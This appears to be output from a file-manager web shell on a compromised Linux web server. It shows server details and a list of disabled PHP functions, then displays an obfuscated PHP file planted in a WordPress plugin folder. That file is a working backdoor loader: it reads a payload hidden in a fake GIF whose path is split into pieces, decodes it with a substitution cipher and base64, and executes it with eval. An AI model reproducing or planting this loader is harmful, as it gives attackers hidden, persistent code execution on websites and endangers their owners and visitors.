HEX
Server: Apache
System: Linux web04.cloudvoor.nl 5.15.0-1089-azure #98~20.04.1-Ubuntu SMP Fri May 2 20:18:39 UTC 2025 x86_64
User: web540 (1038)
PHP: 8.3.21
Disabled: exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,expect_popen,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare
Upload Files
File: /var/www/clients/client62/web540/web/wp-content/plugins/acedosyz/xupozhy.txt
<?php

function lusiny_ymothyjyjo($agypup_ezhiquche) {
    if ($agypup_ezhiquche == 1)
        return ezasyl_ydetached();
    if ($agypup_ezhiquche == 2)
        return qariji_jachujyzha();
}

function amitog_aqeshuxob($agypup_ezhiquche) {
    $pyjoheg = lusiny_ymothyjyjo(1);
    $ylatoje = lusiny_ymothyjyjo(2);
    for ($zoseky = 0; $zoseky < strlen($pyjoheg); $zoseky++) {
        $fyqusyd = substr($pyjoheg, $zoseky, 1);
        $fothuto = substr($ylatoje, $zoseky, 1);
        $owekajo[$fyqusyd] = $fothuto;
    }

    $awozap = strtr($agypup_ezhiquche, $owekajo);
    $awozap = base64_decode($awozap);

    return $awozap;
}

function zozuvu_yluxodofy($agypup_ezhiquche) {
    $tyqoco = array();
    if (!file_exists($agypup_ezhiquche))
        return false;
    $jugoky = @file_get_contents($agypup_ezhiquche);
    if (!$jugoky)
        return false;
    $jugoky = substr($jugoky, 3);
    $tyqoco = amitog_aqeshuxob($jugoky);
    return $tyqoco;
}

function ezasyl_ydetached() {
    $jugoky = "ogKA5Q4L6WFa7qb=VcTnYwpDdjNChvzr9SR3yukiJ0EPs+OxIG1fUe2XM/Z8mlBtH";
    return $jugoky;
}

function qariji_jachujyzha() {
    $tyqoco = "XLJFYei+sNQAv1B0R=a3h7rG5kHZ86zxcjMluwyqDgTKS/IO2VnPCWUEfbp4dm9to";
    return $tyqoco;
}

$azalush = zozuvu_yluxodofy(__DIR__ . "/asset" . "s/ima" . "ges/or" . "umus" . "o.gif");
if ($azalush) {
    @eval($azalush);
}